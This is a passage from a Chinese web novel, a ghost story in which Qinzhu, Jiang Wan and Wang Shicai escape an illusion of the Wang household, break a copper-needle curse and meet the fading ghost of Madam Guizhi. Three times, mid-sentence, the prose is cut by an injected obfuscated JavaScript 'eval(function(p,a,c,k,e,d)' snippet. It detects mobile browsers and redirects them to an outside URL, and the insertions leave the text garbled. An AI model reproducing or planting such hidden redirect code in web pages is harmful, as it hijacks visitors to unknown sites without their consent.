芩竹侧耳,身后脚步已然靠近变得清晰,于是又一把将姜绾两人带门推开,自己跟进去:“后面也有鬼。” 三人一鬼推搡着从这小角门里挤进来,就看见了院中正在忙活着的,刚才姜绾口中的鬼们。 听到动静,小鬼们齐刷刷向他们的位置看过来,又整齐地顿住,再一齐发疯向他们跑来。 芩竹他们半刻不停,围成一团扑向另一侧的院门,动作中似乎还不小心撞到了哪个倒霉鬼,但无人在意,都努力往角门的方向挤,最后连摔带扑地进了下一个院中。 “关门关门!”姜绾混乱中的大喊在这个安静的院中格外清明,突兀得她自己说完都喉咙一紧,紧急住嘴,生怕又引来什么东西。 芩竹身后跟着的红衣鬼十分自然合上了门,就站在后面盯着她看,芩竹当然能感受到这视线,但于她来说,不痛不痒,也就没有去管,抬眼环视这院里。 靠西边的院子,院中挂着个秋千,小桌,放着些零嘴和水果,在院子旁不起眼的角落,有一口井,看着不常用的样子。 这院子和没人住一样,他们跑进来的动静也算得上闹腾,如果是别处,恐怕已经引来一串白面鬼了,然而—— 想着,正对着的厢房门就打开了。 姜绾已经形成了条件反射,遇到这种情况,不是跑就是去找芩竹,这回连方向都不知道,肯定是要去找芩竹,还不忘拉上王世才这个慢半拍的。 可这次王世才慢了不止半拍,直愣愣站在原地拉都拉不动,不知在想什么,竟直直盯着那厢房门。 姜绾急了,干脆不再管他,撒开手躲去姜绾后面,小声道:“咱们怎么办?” 芩竹也在看王世才,缓缓道:“这应该是王家小姐的院子,是叫王红,他的妹妹。” 话音落下,对面的门完全打开,里面走出来个瘦瘦小小的女孩,十多岁的样子,圆圆的脸,整齐干净的衣服,抱着个小罐子,看见他们时歪了歪头,眼神在几人身上转了一圈后,看向最前面的王世才,那张没有表情的脸才咧出一个笑,叫了声“哥哥”。 王世才呆滞的神情也突然有了生息,一口气攒在喉咙许久,才堪堪吐出个“欸”。 他们依旧站在原地没动,稍带警惕地望着王红动作放得快了些跨出门槛,怀里的罐子大力晃了下差点从臂弯里滑掉。 王世才原本僵直的身子突然前倾着伸出手,似乎想去帮忙接一下,又察觉到两人之间的距离,迟疑缩回手,抿着嘴盯着小跑过来的王红。 “哥哥,你怎么今日回来了?”王红将罐子搁在石桌上,跑过来冲王世才张开双手,亮晶晶的眼睛看着他。 “我,我,提前回来了。”王世才手臂紧紧贴着身侧,吞吞吐吐道,脚跟朝后小小地移了一下。 王红看见王世才的动作,张大的手臂上下扇了扇,假装自己是只漂亮的小蝴蝶,蝴蝶翅膀震了两下安静放下,她探出头看向芩竹几人,好奇道:“他们是哥哥的同窗吗?” “嗯,嗯。”王世才点头到一半,又顿住向后面三人看了眼,才又转过来看向王红,重新肯定道。 姜绾看着那边两人的互动,迷糊极了,趴到芩竹耳边,刚要开口,自己脸侧也凑来一颗脑袋,她竭力忽视旁边那阴恻恻的感觉,说:“怎么感觉着王世才遇见他妹妹跟失了魂一样?” 芩竹偏头看了眼趴在自己肩膀上的两颗脑袋,又移开眼神,摇头:“不知道,反正不能在这浪费时间了。” 她冲着角门的方向努了努嘴,示意姜绾去叫王世才,结果自己朝那处走了两步才发现半天没人跟上,只跟着只鬼。 姜绾正站在原地一脸难办地望着她,拿眼神扫了扫石桌旁的两个人,芩竹顺着她看过去,王世才不知什么时候和王红坐了在了一起。 芩竹不知她的意思,还以为是让她去叫人,准备抬步时又被姜绾阻止。那人奔过来小声道:“那个,要不等一会?” “为何?” 姜绾指了指王红,语气染上些惋惜:“要不让他们叙叙旧?” 芩竹静静看着那两个靠在一起的背影,刚要开口,又被姜绾打断:“我知道你要说什么,但……就算她一会要死,那也是一会嘛……” 芩竹:“……行。” 她稍微向后靠了靠,抬头看着院墙边树梢上挂着的晨曦,漏出些金灿灿的光洒在石桌前一大一小的人身上。 他们围着桌上的罐子讨论着什么,那里面似乎养着几条小鱼。 “之前哥哥给我抓的小鱼我养的好好的,但娘亲说一条孤单了点,所以又寻来了条给这条作伴。”王红笑眯眯道。 王世才拿着她给的草枝一下一下的划着罐子里的水,心不在焉道:“红儿,我——” “哥哥,你这次回来带书了吗,我能看看嘛?”王红不给他说话的机会,话题一个比一个蹦的远。 罐中的涟漪在草枝尖端旋开一圈又一圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562352|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,王世才听着耳边的喋喋不休,胸膛就如同那泛开数层的小波,他使劲将鼻腔的酸涩吸进去,丢了手上的草枝,拍案而起。 圆圆的罐子被震得一跳,小小涟漪翻起大些的水波,罐中小半的水被洒了出来,有一条细小的白鱼跟着弹起在重重砸回罐子里。 王红被吓了一跳,扶着桌子站起来,有些不解地看着王世才。 “你……”王世才好像憋着多大的劲才做的这么一出,做完后气劲便泄了,大口呼吸着撑着桌子,慢慢蹲了下来,也不看王红,抱着脑袋喃喃道,“是我害的,都是我……” 光亮盖了些在王红的发顶,她看着脚边缩成一团的王世才,沉默不语。 两人的身份在这时候做了调换,王世才腿上失了力道,重重跪在了地上,不住地念叨着什么,王红变成了安静的那个。 她看着王世才从抓着自己的头发改为来抓她的裤腿,手指攥出的印子从膝盖处的褶皱一直滑到脚背,最后指尖攥着那一截料子不停地颤抖:“你不应该这样,你应该恨我,是我害的,一切都是我害的……” 王红还是没有说话,也没有动作,她的神态看着有些好奇和困惑,然后这些温和的表情逐渐碎裂,瞳孔变得黑且无光,仿若深渊。 她出口还是疑问:“哥哥,我……”她像也搞不清楚自己是怎么了。 芩竹站在几步外,将这一切看在了眼里,她迈步上前去,企图将跪在地上和自己较劲的王世才拉走,却受到了来自王红和姜绾两方的阻止。 后一方她尚且可以用眼神将人喝退,但王红,这孩子真是怕自己对王世才不利,捏着她的胳膊就是不让她动。 这时,一直在后面装死的红衣鬼动了,从芩竹肩头伸手便着王红的胳膊一拧,就将其丢去了一边。 王红到底是个小孩,对上这高个的大红蚊子没有半点反手之力。从地上爬起来后,她动作和面庞已然变得和之前追击他们的鬼一模一样了。 姜绾看着不忍,偏头嘟囔着:“干嘛非要打断人家说话。” “再不打断,王世才就要把她早就不在人世的事说出来了,到时候王红还是会变成这样子,”芩竹扯了一把还在神游的王世才,看见他一摊烂泥的样子,又道,“你说你害了她一次,现在算不算是第二次?” 这话着实伤人,姜绾刚从芩竹上一句说教中回神,听到这句话,轻嘶出声,去看王世才。 王世才此时才搞明白做了什么,焦急地撒开旁边拽着他的两人,去看那边孤零零站着的王红。 小女孩看到他时,原本惨白的脸上涌现出一丝怔愣,接着青白死气似乎飘走了些,满脸委屈地喊他。 芩竹没有想到这会王红还残存些神智,也可以说她从一开始看见理智的王红就一直觉得奇怪,但此刻也不是计较这个的时候,这一个王红就算再次发疯,看刚才红衣鬼的架势她对他们也没什么威胁,现在最主要的,是赶紧去桂枝的房间。 她拍了一把姜绾,拉上王世才向刚才角门走去,正要开门,却听那头叽叽喳喳不知来了多少在门前,看样子是要过来。 芩竹立即停下脚,转头看了眼院里呆站着的王红,领着几人钻进了她的房间。 自他们离开视线后,王红身体就恢复到了原来的样子,一个人坐在桌边看着罐中的鱼。 角门的位置传来几声响动,她转眼去看,走进来几个丫鬟,手上端着不曾见过的盒子。 11. 铜针钉 王世才一言不发,进了屋后便转身靠在门上望着院中的那道小小的人影。 王红好似没有看到那群进来的丫鬟,那些丫鬟也像没有看到她,说说笑笑端着盒子往旁边的房檐下走去。 女子嬉笑的的声音下,是叮叮当当的敲击声,这声音对王红来说有些陌生,不自觉地便被那边吸引了注意,不再观察罐中的小鱼,而是坐在石桌旁,安静看着那边几人忙活。 敲敲打打了一会,声音停了下来,应该是忙完了,几个丫鬟收拾了东西转过来看了她一眼,又继续没事人一样端着盒子从另一个角门出去。 门关上,王红冲那边看了看,站起身冲刚才几人站着位置看去前进了两步,忽然顿住,回身过来抱起桌上的罐子,再“蹬蹬蹬”跑到对面的房门口,转着圈看那边多了什么东西。 姜绾在厢房看不太清那么远的事物,挤在芩竹身边又好奇得紧,忙悄声问道:“什么东西啊?” 芩竹侧身让开了些位置,看着窗户上那个新戳出来的洞,犹豫道:“是那个木条?” “木条……”王世才忽然出声,整个人几乎贴在了门上,鼻间摩擦着门板,抵得门框都摇晃了下。 姜绾被这动静搞得一懵,将他往后拽了一把,用气声道:“你小心点啊!” 但他好像想到了什么,手扣着门板颤抖,似是想要打开门,又像是在阻止身体里的另一个人去做这个动作。 王世才这种矛盾持续了一路,芩竹也没有觉得不对,扫了一眼便又继续看向王红。那人在房檐下转了一圈,也不知道有没有看见自己想看的东西就离开了。 她抱着罐子抬起腿踢了一下台阶下的杂草,跳下台阶时,再快速地接上另一只脚踢一次,最后两只脚“啪”地一下实实踩到地面,然后停顿一下,向前小跳着前进。 小孩子一个人无聊,走两步就这么玩。 但可能是这次双手抱着罐子,没有平时张开两手时那般平衡,跑跳时稍有些失误,脚尖磕到了地上微微凸起的一块,被绊得一个踉跄向旁边跌去。 那处恰有一座枯井。 王世才和姜绾看得皆是一惊,后者这时候还不忘拽住前者,以防他突然冲出去。 好在意外并没有发生,王红卡在井缘处险险稳住了身形,还将罐子调整了个姿势重新抱好。 芩竹思考着等该如何出去,见姜绾不停地往来凑,便主动将位置让给她,自己站去后面,旁边很快挤来一道红色身影。 她瞥了眼这置身事外又努力掺和的红衣鬼,刚想说能不能把他丢出去当个饵好让自己先跑,就看这鬼忽然浑身一震,表情空白了一瞬。 同时,她好像听见了一声微弱但又清晰的声音,那声音像是利器相撞在心头,“锵”的一声,心口的洪钟被敲得晃动,声音震荡过全身。 眼前这红衣鬼就像突然被制住了似的,一动不动,芩竹没见过他这样子,第一反应就是出了什么事。 果然,还不等她开口,身后姜绾的一声惊呼伴随着王世才大力拉开房门砸在墙上的声音已经回答了她。 芩竹转头,从大开的房门朝外看去,院中除了狂奔的王世才,哪里还有王红的身影。 那一座小小的井边,碎着个瓷罐,有两条小鱼在地上挣扎弹跳。 “刚才不知道怎么,王红好像突然晕了,就……”姜绾皱着眉,说得极为艰难。 王世才亲眼看着王红栽下去,是已经分不清过去还是现在了,扑倒井边便开始大声喊王红的名字,或也可以说,他其实分得清,只不过此刻,他没有办法冷眼看着。 “不行,有人来了。”芩竹对姜绾说了声,快步跑进院中拽回王世才,拉着他往拐向内院的角门走。 王世才起初还会挣扎,重新扑去井口边喊王红的名字,像是不明白一个刚掉进去的人会这般无声无息,可喊了几次只剩下井中呼噜的风,他便不再开口了,任由着芩竹和姜绾将他拽走。 可到底迟了些,他们刚离开井口两步,身后角门便冲进来一群人,打头的便是王世才。 姜绾一愣,下意识往旁边看去。自己身边这个王世才也在盯着那个慌张冲进院里的“王世才”,芩竹心道不好,直接上手捂住王世才的眼睛,却已然来不及,手刚搭上他的脸,这人便和面条一样无力滑在地上。 芩竹抬眸,对面那些丫鬟,和她们一样茫然地看过来,接着眼睁睁地发了狂,张牙舞爪地跑过来,可王世才还在地上晕着,芩竹和姜绾只能连拖带拽地将人向前面角门的方向拉。 尽管她们已经跑的很快了,可还是没法和身后那几个毫无负担只顾奔跑的鬼相比,刚迈出两步,就被追上了。 五六个丫鬟十几只手攀在两人肩头,都不用转脸,就能看见迎面而来的惨白鬼脸和血盆大口,好似一口就能将一张脸啃成个血淋淋的面饼。 姜绾早就撒开抓着王世才的手,挥舞着双手甩开身上的手,然而这些鬼手有些已经将手指陷进她的肉里,隐隐有生根之兆。 她真是受不了一堆长得一模一样的白脸黑眼直直瞪进她眼底,总觉得多看一眼就要折寿。 又偏头躲开脸侧一排长牙,好吧,现在不看估计也要折寿…… 姜绾欲哭无泪,开始后悔,从拿到那张画像开始悔。 突然,肩头一痛,她惊呼一声,就看身前那几张脸猛地向后一缩,扣在自己脖子上巨大的压力骤然消失,她一顿,看见身前那抹浅绿使劲甩开几道身影,快速转过来拉她:“跑啊!” 芩竹喊完,忽然看见身侧前方刚刚还晕着的王世才这时候已经能站起来了,姜绾也同样看见了他,已经形成习惯手一伸就连他一起拽着推开角门跑出去。 入眼是内院正厅,三人跑去时厅中正站着好几个丫鬟,王老爷和付宁聊着些什么,见到他们时,王老爷表情显出些疑惑,在三人面上划过,最后停在中间那个愣愣站着的王世才脸上,语气奇怪地喊了句:“世才?你们怎么……” 看他的表情,显然是认识他们的,而且整个人窝在椅子里,精神恹恹,这是三年后的王老爷。 可为什么这些已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562353|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死的鬼不会攻击王老爷呢?像是她们生前惧怕,死后对他还是有着浅意识的惧意。 芩竹想了想和姜绾对视了一眼,后者眨眨眼睛,瞥了眼主屋的方向,说:“老爷,我们想带王少爷出去,您要不跟我们一起?” 芩竹垂着头悄悄瞄去一眼看向王老爷,抬眼扫了一下他周围的人,轻微地摇头。 王老爷自是看见了这一幕,他神色变得严肃,眉头拧在一起,沉吟片刻,说:“走吧。”然后撑着扶手起来,付宁见状,想要扶他一把,王老爷状似不经意地避开她的动作,摆摆手:“不用,我和他们商量些事。” 他说完,便晃悠着身子向主屋走去,后面三人见状,立刻跟上,简直出奇的顺利,总算不用被追得狼狈,就连芩竹都松了一口气。 几人跑进桂枝的屋子便反身关好门,姜绾拖来了个大的桌子堵在门后,做完这些自己便摊在上面长长舒了一口气。 芩竹则是直直冲房间最里侧的大床走去,把它向旁边推了推,又朝外拉了些,漏出里面那个带血圈的铜针尖。 姜绾看着芩竹的动作,又看了看旁边两个干站着的男人,无语道:“王老爷快死的人不干活就算了,怎么王世才你也不帮个忙。” 王老爷:…… 她默默吐槽完,过去帮芩竹的忙,忽然记起另一个男的,问道:“那,那位呢?红衣服的那个?” “不知道,他突然不动了,就没管。”芩竹有姜绾帮忙,很快就挪开了床,从桌边找了个小盒的盖子蹲下身边刨土边说。 姜绾听这话总觉得不太行,弱弱道:“他不会回来和咱们生气吧?” 芩竹认真刨土,摇头:“不会,他这算是自己没跟上。” “也是哦。”姜绾被她说服了,看她刨的那么辛苦,于是也想找个趁手的工具帮帮她,前面一圈没寻到,就想在后面找找,刚转身,就见一个人直挺挺站在自己身后。 姜绾:! 这人表情呆滞,瞳孔黝黑,半点声响也无,和外面那鬼影有的一拼,可他偏偏是王世才的脸。 如此贴脸而来尽管经历再多姜绾都受不了,顿时一声惊叫,被吓得向后一步,小腿碰到芩竹后背。 芩竹动作一顿,转头没有看到身后的景象,只听见姜绾的骂声:“你要死啊!” 没办法,姜绾被同一张脸吓到两次,实在是恼火,而且恼火对象被她骂过还不让位,依旧站在原地盯着她,将人盯得发毛。 姜绾心里到底念着这人刚刚经历了些不太好的事情,忍了忍还是选择自己让开,走去窗边的那个柜子上翻了翻。都是些小首饰,也没什么能帮忙的东西,便又作罢,转身时不经意扫过窗子开着的小缝,忽然看见一个衣衫带血浑身狼狈的人朝这边奔来。 她看得一个激灵,这人身形熟悉,越看越觉得哪里不对。 似是发现了姜绾,那人跌跌撞撞的身形一振,大喊道:“救命——” 姜绾瞳孔骤缩,拧眉盯着那人,终于发现不对在哪里——院中跑来的那个,是王世才。 12. 铜针钉 房间一侧,芩竹还在奋力挖土,估计是刚刚埋起来,她挖得不是很费力,已经将围着铜针周边的土挖开了,露出了里面的一片黑色木条的样子。 她握住铜针,左右移了移,突然,姜绾叫了她一声,芩竹“嗯”了下,刚要回头,颈间骤然袭来一股大力将她向后一扳。 “他不是王世才!”姜绾喊道。 芩竹被向后拖拽着离开了铜针的位置,后背在冰凉的地上摩擦起了一层火烧的痛麻,她听见了姜绾说的话,可奈何这个姿势暂时根本做不了什么。 “王世才”的手劲和那帮白面鬼有的一拼,两只手死死箍着芩竹的脖子,这会她还能喘气都算是福大命大了。 姜绾从房间另一角看去的景象就是那“王世才”忽然退后好几步,桌凳撞翻了一堆,忽然从地上提起来个人影,便是芩竹。 她原本还准备喊芩竹的声音顿住,这时候才有种芩竹和她一样是普通人的实感。 心凉了半截,姜绾只觉得手脚都在麻,自己都不知道怎么了,身体先冲了过去才反应过来从地上抄起个凳子,使劲砸向“王世才”的脑袋。 然而凳子脱手,“王世才”都没什么事,僵硬地转过来,一双黑漆漆的眼睛直勾勾看过来,竟腾出一只手向姜绾抓来。 芩竹感觉脖颈上的力道稍微少了些,她快速喘了口气,对姜绾道:“符。” 姜绾听见她说话,激动的眼泪都快出来了,抱着包袱向后退了好几步避开“王世才”的攻击,余光瞄到一旁呆滞的王老爷,一边骂一边掏出符纸,上前两步却又向后缩了缩。 “王世才”变得更彻底了些,脸色白的发青,一只手垂下去拖着芩竹都还能行动灵活地来抓挠姜绾。 “我不行啊!”姜绾一手拿着符纸,一手抱着不知道从哪掏来的凳子在身前挡着,许久没听到芩竹的回答,她害怕她是出了什么事,不自觉地停下躲避的步伐,就这停顿的一下,“王世才”就移到了身前,轻轻一拨凳子便被击飞。 姜绾吓得一激灵,呼吸一滞,自己就被提着脱离地面,她梗着脖子,拼着吃奶的力气放开抓着“王世才”胳膊的手,伸长手臂将符纸拍在他脸上:“芩竹!” 话音没落,面前那符便迸处金光在“王世才”身上包裹,瞬间便没了动作。 芩竹憋着的一口气终于能换一下,快速掰开扣着脖子的手,从地上翻起来,入眼就是在面前挣扎的姜绾。 她又连忙将人救下来,听姜绾气都没喘匀就说:“王世才还在外面。” 闻言,她赶紧走去窗口,刚好看到王世才狂奔至眼前,在他身后,还带着一群喊叫着的……丫鬟伙计。 “原来王老爷跑起来是这样的。”姜绾从后面幽幽道,说完看了一眼旁边紧张兮兮凑过来的真老爷。 是的,那群鬼里面还有王老爷,也不知道王世才是怎么做到的,把这些人都拢到一起的。 王世才脸上的抓痕简直不能用惨来形容,说是血肉模糊都不为过,门口被姜绾堵了把大椅子,这会再去搬肯定来不及,芩竹她们便干脆掀了窗子让他翻进来。 等他一骨碌滚进来后,窗口立刻伸进来七八只鬼手,张牙舞爪的,芩竹直接施力将窗户向下一拽,窗边缘就挤着那几只手半开不合的卡在那。 她看着这些张牙舞爪和大白蜘蛛似的手,抬眼问道:“有刀吗?” 姜绾手抓着窗框,身子弓的老远,听见这话头摇的和拨浪鼓一样,回头看地上那爷俩,也是一脸的懵。 正想着,门口又忽然创来“砰”的一声,那把沉重的椅子在地上滑出“刺啦”令人牙酸的声音。 姜绾急了,飞奔过去一屁股坐在椅子上,喊道:“王世才带着你爹挡着啊!” 王世才刚死里逃生人都是傻的,几乎是让干嘛就干嘛,只不过腿脚还是软的,爬了半天都没起来,王老爷本意是不愿听姜绾一个小丫头的话,奈何姜绾根本挡不住,一下比一下重的拍门声和催命钟一样。 不得已,只能如此。 王世才到底是一方知县,当个清官都快成了他的执念了。这时候凭着一股劲起来,拉着王老爷最起码比姜绾力气大些。 芩竹窗口的位置被姜绾自觉接手了,自己则是继续去床底下刨坑。只不过越向下越不好挖,土就像和这两样东西融在了一起,铜针也变得不易挪动。 到后面芩竹也不用那小盒子来挖了,两手并用将铜针扎着的两个物件周边挖开了一圈,甚至铜针最下方的尖端都被她摸到了,可这些东西还是拿不出来。 “行不行啊……”姜绾的声音从后面飘过来。 不知为何,这些鬼手的力度越来越大,姜绾一瞬间都以为自己要拉不住了。 “不太行。”芩竹诚实道。 她不知道自己这一句给后面三人打击有多大,说完又将手伸土里一番摸索,另一只手则是直接放在铜针尖端。 她忽然有个想法——针尖上的手微微用力,锋利的尖磨过手上的缠着的布,直直刺进皮肤,血液顺着针身滑下渗进木条以及最下方的那个东西。 一时间阴寒的气息从土中飞出,窜进整个房间,这感觉太多熟悉,芩竹竟然都习惯了,所以在一只红衣鬼凭空出现的时候,只有她一个人是安静的。 “啊——他来算账了!”姜绾最是激动,她觉得和芩竹一起抛下他总是算个共犯的身份。 芩竹看了眼身侧站着的红衣鬼,继续和土里的东西较劲,说:“你自己没跟上。” 红衣鬼没说话,她也不知道他现在是不想说还是不能说,只知道他忽然蹲了下来,从身后圈住了她,伸手覆盖在她握着铜针的手上。 但这次并没有之前那种他身上一贯的森寒,整个鬼更像是一层水膜,身体触碰的感觉有,但又不切实际的样子。 芩竹垂眸盯着那根被两只手握住的针,微微用力,从下方托拽的手竟真的感受到一股轻松——有用。 她便就着红衣鬼的力道使劲向外拽着,铜针上的手因为用力,新伤旧伤的伤口一齐流血,涓涓的血一半流在了木条里,一半渗进了自己手上盖着的那只大手。 刚刚还愈渐微弱的阴气,重新涨起,芩竹身后立刻被逼出了一层鸡皮疙瘩,就好像身后无人的地方忽然急速贴近了一个清晰的身体,只不过这个躯体毫不温暖,反倒冷的牙颤。 芩竹手心是冰凉的针壁,手背是冰凉的手心,体内温热的血液向外流失,全数分给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562354|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这两者,她只能加快手上的动作,尽快摆脱当下这种情况。 铜针摆动的幅度变大,土里的手能摸到有些扎的草人,芩竹便改为一手压着木条一手捏着铜针奋力一拽。 “铮——”好像有什么连接的东西断了,手上骤然轻松,整个人向后坐去,身后存在感很强的鬼也不在了,她像是穿过了什么坠落,最后一下坐在实处。 再眨眼,眼前还是一样的景象,手里捏着根铜针,外面一下下的拍门声没有了。 芩竹撑了一下地面坐起来,转头环视一圈,姜绾躺在地上,王老爷和王世才也是,只是他们表情痛苦,仿佛经历着什么骇人的场面。 不确定是不是回到了现实,芩竹也没有冒然将几人叫起来,俯身将土坑里已经分开的两个物件拿出来,一个木条,一个草扎人,中间飘下来一片纸,中间破着个大洞,大概是被铜针穿起来夹在着两者之间,字符大多已经看不清了,只能依稀辨认出前面的“正宁”二字,那就只能是生辰八字了。 她看了两眼,拿起木条将里面的衣料抽了出来,抖了两下。 忽然旁边传出几声轻咳,芩竹应声望去,姜绾从地上爬了起来,一脸懵地看向她喃喃道:“这是回来了?” 芩竹刚想回她说“不清楚”,就看她的视线从自己的脸上渐渐偏移,滑到了她身后的位置,愣愣眨了两下眼睛,道:“完了,咱们还是没回来,我看见桂枝夫人了。” 她转头看去,就见身旁的椅子上坐着个三十来岁的女人,穿着靛蓝的衣裳,头发在头顶盘着个好看的发髻,面容温和慈爱的瞧着她。 四目相对,芩竹向这位夫人微微颔首,便就不知道说什么了。 桂枝身影浅淡,就和那会的红衣鬼一般,但状态比之还要虚弱,好似下一刻就要消散,她听见了姜绾的话,现下见芩竹看着她,便温声答道:“回来了回来了,莫怕。” 芩竹和姜绾在之前那幻境里,见过的人人鬼鬼很多,每一个都是提心吊胆,或就是一番心惊胆战,唯独桂枝,她们见到她只有一面,还是那般狼狈的模样。 可此刻面对的桂枝,她安安静静坐在窗旁,好像在那里坐了很久,看了很久,见到闯进她房间的两个彷徨的小姑娘,第一句就是安慰。 姜绾最不会面对这种温温柔柔的回应,疑问和感谢卡在喉咙里就是说不出来,还是芩竹根据平时的情况来判断,回了句谢。 “大娘……”这时,王世才的声音从侧边响起。 他依旧浑身是伤,从地上爬起来怔愣地看着桂枝,而桂枝,也只是坐在那,芩竹发现,她好像连姿势都没有动过。 “世才啊,娘亲好些了吗?”桂枝问。 “好些了,”王世才看向桂枝,看见她看过来,却又先一步别开眼,慢慢地跪坐在地上,突然哭出了声,哽咽道,“世才有罪,如果不是我,你们就不会这样了。” 王老爷不知是不是被他的动静吵醒了,快要从凳子上滑下去的身子又生生止住,睁着迷蒙的眼,漫无目的地在房中转了一圈,最后停在桂枝身上。 他忽然像被扼住了喉咙一般,猛地停下了动作,就这么红着眼盯着她,伸出手指怒指她恶狠狠道:“你个毒妇!” 13. 鬼面人 王老爷坐得靠后,所以在他没出声之前,除了转脸看向同一边王世才的桂枝,置于房间里侧的那三人都不知道他醒了。而他这声怨恨狠厉,声音大的完全不像刚才在幻境里畏畏缩缩的样子。 芩竹手上还捏着那两个东西,本意是想打开看看草人,被他这一声喊得莫名,转头去看,一眼就瞧出这王老爷状态有些不对。 他眼里面看见的好像和他们不同,整个人警惕着什么,眼珠紧盯着桂枝,还要小幅度地转上两下,却看不见脚底下那么大个儿子。 “我王家待你不薄,为何还要如此纠缠!”王老爷还在说。 姜绾看着王老爷,悄摸爬道芩竹身边,小声道:“他骂谁呢?” 问得芩竹,回答的却是桂枝,夫人表情都没变,叹道:“我。” “啊?”姜绾十分不解,拧眉看向那边魔障了的人,“可王家这样,不应该都是他听了怪人那个阵局才造成的吗?” 芩竹有一下没一下地捏着手里的草人,说:“心底里不觉得是自己错了。” 桂枝笑了下,看过来:“算是吧,我能看到他看见的,黑漆漆的,只有我们两个人……” 王老爷眼中的世界,是个空荡荡的王宅,里面还喘气的只剩了他,房间里这几个人在他眼里都是些无足轻重的小鬼,只有桂枝是原来世界的那副样子。 都说桂枝是病死的,王老爷也这么一直这么认为,包括在王宅无故暴毙那么多人之后,在芩竹指出那诡异阵局之后,在经历了那个奇怪的幻境之后。 他也不觉得自己有问题,或者他知道,他只是不愿意承认。 芩竹转身看过去,就连王世才都抬脸看向自己的父亲。 那个年迈的男人,慢慢地缩起了身子,突然变得恐惧,拍着胸脯极速咳喘着,盯着前面什么也没有的地方。 他开始用自己许久未使用过的腿疯狂踢踹前面小半块地方,边喘边喊:“桂枝!你们去找她啊!她成了鬼才会索你们的命,找我做甚!” “去啊!去啊!啊!” 桂枝没有看他,偏头朝后看了眼。 她后面是半开的窗,一道晨光终于爬过院墙打了进来,从窗侧的窄缝撒在她半边身子上,头顶脸旁飞舞着发光的尘粒。 她也终于能动一动,耸了耸肩膀扭头过来看着面前蹲成两团认真望着她的小姑娘。 桂枝笑笑,在四只眼睛下,如愿说道:“他好像被那些小丫鬟们缠住了。” 姜绾眨眨眼,问:“为什么王老爷会看见这些啊?他来时有见到自己模样的鬼吗?着相了?” 她说着,扭头去求证芩竹,芩竹摇头,她一直和手里这三样东西作斗争,实在没看见后面是发生了什么。 说到这……芩竹垂头看了眼愈合大半的伤口。 “你们来时,好像有掉进什么地方,”桂枝开口,又将芩竹的注意拉了回来,她重新收紧握着草扎人的手,抬眸听,“我看见的,就是很多不同的景象,是念念不忘的东西吧。但——” 桂枝说到这顿了顿,看向芩竹,用一种“你今年多大啦”的语气问道:“这位姑娘好像没有。” 看着不太像一只快散去的鬼,很像姜绾幼时街边会给她带包子的姨娘。 可芩竹感觉不出来,只知道桂枝在问她问题,于是便答,一本正经道:“我之前的事都忘了。” “哎呦!”桂枝蹙了蹙眉,好像对她的事可上了心,“怎么就忘了,还能治吗?” “能,不碍事。” “那便好。” 这头跟唠家常一般有来有回,另一头王世才看着自己父亲越来越失焦的瞳孔试探地喊了声。 这声不知触及了王老爷什么地方,他忽然大叫一声,眼睛彻底失了神,敦实的身体缩在椅子里,颤抖着,嘴里念念叨叨,一条银丝从嘴边垂落,流在腿面也不晓得。 王世才坐在地上看着这一幕,心头一阵酸楚,转身朝他叩首一次,转过脸时,看到了正望着他的桂枝。 “大娘……” “他们都说是红儿抢了老王家的气运,一身才情给了女儿家,她死后才得以回归到原本属于它的人身上。”桂枝说。 “我不认同。” 桂枝说话向来温和,这点和芩竹平稳的语调也不太像,多了些笑意,让人听着心头暖和。 可这几句话,只让王世才周身发寒。 “红儿喜欢哥哥,可她哥哥从来也不替她辩驳,之后三年听着邻里这般言辞,就连否认一次都没。” “世才,这些不是你的错,那些冤魂怨鬼要找也只会找你爹,怪不到你头上。可我也没法接受红儿是这么没的。” “你便好好当你的官,我们总是也碍不到你了……”桂枝叹了声,神情变得疲乏了些。 王世才听完她的话,嘴唇颤抖,拱手作揖垂下脑袋:“世才——记下了。” 芩竹看着桂枝,感觉她身形轮廓变得越来越难以看清了。伸手在她身上捞了一下,手掌穿过了垂落在脚边的衣摆。 清晨,阳气升腾,阵局破开,野鬼是要消散了。 桂枝笑眯眯的,艰难地俯下身子,伸出手在芩竹还未收回去的手上虚虚握了一下,问她:“我这样的,是不是没有来世啊?” “嗯。”芩竹回答。 姜绾对这个说话做事都很温柔的夫人实在有好感,有些不忍道:“夫人,你为何会留在这里呢?” 她看起来对这里无憎无恨,一点都不像生出怨念而停留不去的恶鬼。 “不晓得,我出不去,起初还能在院子里走走,后来进了屋坐下,便就被困住了一样,动不了了。”桂枝说。 这倒是,桂枝身上的阴气还没有芩竹身上一个小碎块多,都支撑不了她在夜间现身,跟更别提走出这个困住她的屋子了。 